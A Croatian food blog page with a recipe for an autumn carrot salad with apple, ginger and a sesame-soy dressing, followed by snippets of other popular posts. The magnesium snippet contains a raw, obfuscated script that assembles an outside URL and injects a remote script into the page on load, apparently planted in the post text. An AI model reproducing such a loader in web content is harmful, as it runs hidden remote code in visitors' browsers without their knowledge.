JESENSKA SALATA OD MRKVE 🥕 🥗




Jesenska salata od mrkve 



I dok je original savršen za toplije dane, početak jeseni idealan je trenutak da ga malo prilagodimo sezoni. U našu verziju dodajemo jabuku, svježi đumbir i malo chilija, a završavamo je tostiranim sjemenkama i svježim začinskim biljem. Rezultat je hrskava, aromatična i lagana salata koja može biti prilog ručku, dodatak zdjeli s rižom ili samostalan lagani obrok.




Jesenska salata od mrkve 


Sastojci za 2-3 osobe:

  • 4 veće mrkve
  • 1 manja hrskava jabuka
  • 2 mlada luka
  • 1 mali komad svježeg đumbira
  • 1 češanj češnjaka
  • 1 žlica tostiranog sezama
  • nekoliko listića korijandera ili peršina
  • malo chili pahuljica
  • po želji šaka sjemenki nara

Za dressing:

  • 1 žlica sezamovog ulja
  • 1 žlica sojinog umaka
  • 1 žlica rižinog octa
  • sok pola limete
  • 1 čajna žličica meda
  • 1⁄2 žličice svježe naribanog đumbira
  • malo chilija
  • po želji nekoliko kapi sezamovog ulja za kraj



Priprema:

  • Mrkvu prvo dobro operite i ogulite. Zatim gulilicom za povrće nastavite guliti cijelu mrkvu po dužini tako da dobijete što duže i tanje trakice. Upravo je to karakterističan izgled viralne carrot salate, pa je najbolje koristiti širu Y-gulilicu ako je imate. Ako nemate gulilicu, mrkvu možete vrlo tanko narezati nožem ili koristiti spiralizator. Jabuku narežite na vrlo tanke štapiće, a mladi luk na tanke kolutiće. Naribajte malo svježeg đumbira i češnjaka.
  • U posebnoj zdjelici pomiješajte sezamovo ulje, sojin umak, rižin ocat, sok limete i med. Dodajte đumbir, češnjak i chili pa sve dobro promiješajte.
  • Mrkvu i jabuku stavite u veću zdjelu i prelijte dressingom. Sve dobro promiješajte rukama ili hvataljkama kako bi se dressing ravnomjerno rasporedio po svim trakicama. Dodajte mladi luk i još jednom lagano promiješajte.
  • Na kraju posipajte tostiranim sezamom i svježim peršinom ili korijanderom. Ako želite posebno lijep jesenski završetak, dodajte i nekoliko sočnih sjemenki nara. Salatu možete odmah poslužiti, ali još je bolja ako odstoji desetak do petnaest minuta u hladnjaku. Mrkva će tada lagano omekšati i upiti više okusa, a i dalje će ostati hrskava.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više